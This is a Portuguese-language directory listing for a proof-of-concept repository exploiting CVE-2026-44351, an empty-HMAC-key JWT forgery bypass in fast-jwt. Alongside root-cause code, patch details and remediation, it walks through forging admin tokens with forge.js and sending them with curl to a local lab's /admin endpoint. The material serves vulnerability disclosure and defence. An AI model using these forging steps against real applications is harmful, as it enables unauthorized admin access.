Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/isaca0315/cve-2026-44351-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebCriptografiaAutenticaçãoAprendizado e EducaçãoRed TeamingSegurança de API
GitHubisaca0315/cve-2026-44351-poc

CVE-2026-44351-poc

Proof-of-concept para CVE-2026-44351, um bypass de autenticação no fast-jwt <6.2.4 onde uma chave HMAC vazia permite que atacantes forjem JWTs arbitrários aceitos como válidos.

Ver Repositório
há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-44351 — Falsificação de JWT por Secret Vazio em fast-jwt

PoC do bypass de autenticação (auth bypass) em fast-jwt (versões anteriores à 6.2.4) que permite a qualquer atacante não autenticado falsificar JWTs arbitrários e que sejam aceitos como autênticos pela aplicação alvo.

CVECVE-2026-44351
AdvisoryGHSA-gmvf-9v4p-v8jc
CWECWE-1391 (Validação incorreta de chaves) / CWE-287 (Autenticação incorreta) / CWE-326 (Força de criptografia inadequada)
CVSS 3.19.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Vulnerávelfast-jwt < 6.2.4 (verificado contra 6.2.3)
Patch[email protected] — rejeita chaves HMAC vazias com FAST_JWT_INVALID_KEY

📄 Documentação técnica detalhada (root cause com código real, anatomia do ataque, análise do patch): docs/CVE-2026-44351.md

Resumo

fast-jwt permite passar uma função assíncrona como resolução de chave (key) — o padrão típico quando se integra com um servidor JWKS:

root@kitploit:~
const verify = createVerifier({
  // patron JWKS estandar documentado por la propia libreria
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

Quando o kid do token recebido não existe, esse padrão retorna ''. fast-jwt converte a string vazia em um Buffer de comprimento zero (Buffer.alloc(0)), entrega a crypto.createSecretKey (o Node aceita silenciosamente) e verifica a assinatura do token usando HMAC com chave vazia.

Como HMAC-SHA256(key='', input='<header>.<payload>') é computável por qualquer um, o atacante não precisa conhecer o segredo real: forja um token com os claims que quiser (sub, admin, roles, scopes, iss, aud, …) e o verificador o retorna como autêntico.

Afeta apenas a rota de resolução de chave assíncrona (função). A configuração síncrona key: '' é rejeitada corretamente porque createVerifier faz curto-circuito sobre valores falsy.

Detalhe técnico da falha

A falha está em src/verifier.js. No fluxo do async key resolver:

root@kitploit:~
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // rama !publicKeyPemMatch && !X509  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (sin control de longitud)
  verifyToken(currentKey, decoded, validationContext)
})

E a assinatura é validada com src/crypto.js:

root@kitploit:~
if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', Buffer.alloc(0)) funciona, o HMAC do input é computável pelo atacante e o token forjado é aceito.

Matriz de ataque (verificada com [email protected])

Resolver shapealgorithmsHS256HS384HS512
async () => ''(default)✅ aceita✅ aceita✅ aceita
(d, cb) => cb(null, '')(default)✅ aceita✅ aceita✅ aceita
async d => keys[d.header.kid] || ''(default)✅ aceita✅ aceita✅ aceita
async () => ''['HS256','HS384','HS512']✅ aceita✅ aceita✅ aceita
async () => ''['HS256','RS256']✅ aceitaINVALID_ALGINVALID_ALG
async () => ''['RS256']INVALID_KEYINVALID_KEYINVALID_KEY

⚔️ Passo a passo de Red Team (exploração 100% manual)

O ataque é executado à mão: o único artefato é forge.js, que fabrica o JWT assinado com chave vazia. O envio e a validação são feitos com curl.

Passo 0 — Subir a infraestrutura alvo (Docker)

root@kitploit:~
docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target listo

O Docker serve apenas para rodar o target vulnerável, não para explorar. O restante do ataque é manual.

Passo 1 — Reconhecimento

Identifique um JWT real da app (por exemplo, a partir de uma requisição autenticada) e inspecione seu header/payload sem validar a assinatura:

root@kitploit:~
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

Pontos a validar:

  • O header expõe um kid → a app resolve chaves por kid (possível JWKS).
  • Se o endpoint protegido rejeita um kid quebrado com 401 mas não apresenta invalid algo/invalid key, o resolver provavelmente faz keys[kid] || ''.

Passo 2 — Forjar o JWT (secret vazio)

root@kitploit:~
node forge.js                          # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt          # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

O script sempre assina o cabeçalho {alg, typ, kid} e o payload escolhidos usando HMAC-SHA* com chave vazia (secret: ""), sem conhecer o segredo real da app.

Passo 3 — Envio manual do token

Com o token copiado (ou lido do arquivo):

root@kitploit:~
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

Resposta esperada se o alvo for vulnerável:

root@kitploit:~
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

Passo 4 — Validar / contrastar

CasoComandoResultado
Sem tokencurl -si http://localhost:3000/admin401 Unauthorized
Token inválidocurl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C"401 Unauthorized
Token forjadocurl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"200 OK + acesso admin

O bypass é reproduzível alterando claims e repetindo os passos 2–3 (pós-exploração: escalar para role, scopes, outro sub, etc.).


Demos de validação (opcional)

Comparação rápida entre a versão vulnerável e a corrigida:

root@kitploit:~
npm run demo        # [email protected] -> token forjado ACEPTADO
npm run fixed       # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)

Também em Docker:

root@kitploit:~
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

Remediação

  • Atualizar para [email protected] ou superior: prepareKeyOrSecret rejeita chaves HMAC de comprimento zero com FAST_JWT_INVALID_KEY.
  • No resolver assíncrono, não retornar ''/Buffer.alloc(0) como fallback: retornar undefined/null e tratar esse caso como erro de resolução de chave.
  • Em implantações já comprometidas, reiniciar os processos ou usar cache: false durante a transição: o cache de verificação (por padrão 1000 entradas / 600s TTL) pode conservar tokens forjados previamente aceitos.
  • Defesa em profundidade: aplicar a recomendação da RFC 2104 (chave HMAC com comprimento ≥ tamanho de saída do hash).

Frontend (modo app real)

O servidor expõe também um console de administração (public/) para que a exploração seja vista sobre uma app real: login corporativo, dashboard com claims, painel de acesso admin e uma visão Red Team integrada.

root@kitploit:~
node server.js            # o de nuevo: docker compose up -d --build server
open http://localhost:3000

Contas de demo:

EmailPasswordRol
[email protected]admin123admin: true (superadmin)
[email protected]user123admin: false (member)

A app replica um SaaS legítimo:

  • POST /login emite um JWT assinado com o segredo real (kid: legit-kid) via createSigner — o signer NÃO é vulnerável.
  • O frontend guarda o token em localStorage e acessa GET /admin, que usa o verifier vulnerável.
  • Visão Red Team: botão "Fabricar token forjado" que assina localmente (HMAC-SHA256 com chave '' em JS puro, RFC 2104 — WebCrypto não aceita chaves de comprimento zero) ou colar um token de node forge.js e testar /admin. Com admin: true responde 200 OK → bypass confirmado sem sair do navegador.

O frontend é apenas apresentação: a vulnerabilidade continua a mesma (async key resolver com keys[kid] || '') e o fluxo de ataque manual com forge.js + curl do README continua funcionando.

Estrutura do projeto

root@kitploit:~
.
├── Dockerfile            Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml    Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore         Excluye node_modules del build context
├── package.json          Dependencias: [email protected] (vulnerable)
├── server.js             API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js              UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js               Demo a nivel de librería contra [email protected] (vulnerable)
├── public/               Frontend "app real" (login, dashboard, admin, red team)
│   ├── index.html
│   ├── styles.css
│   └── app.js            SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│   └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
    ├── package.json      Dependencias: [email protected] (parcheada)
    └── demo.js           Misma demo contra [email protected] (parcheado)

Aviso

Este material é apenas para fins educacionais e de pesquisa de segurança. Use o exploit somente contra aplicações próprias ou com autorização escrita do proprietário. O uso não autorizado desta técnica contra sistemas de terceiros é ilegal e o responsável por seu uso é quem o realiza.

Baixar ferramenta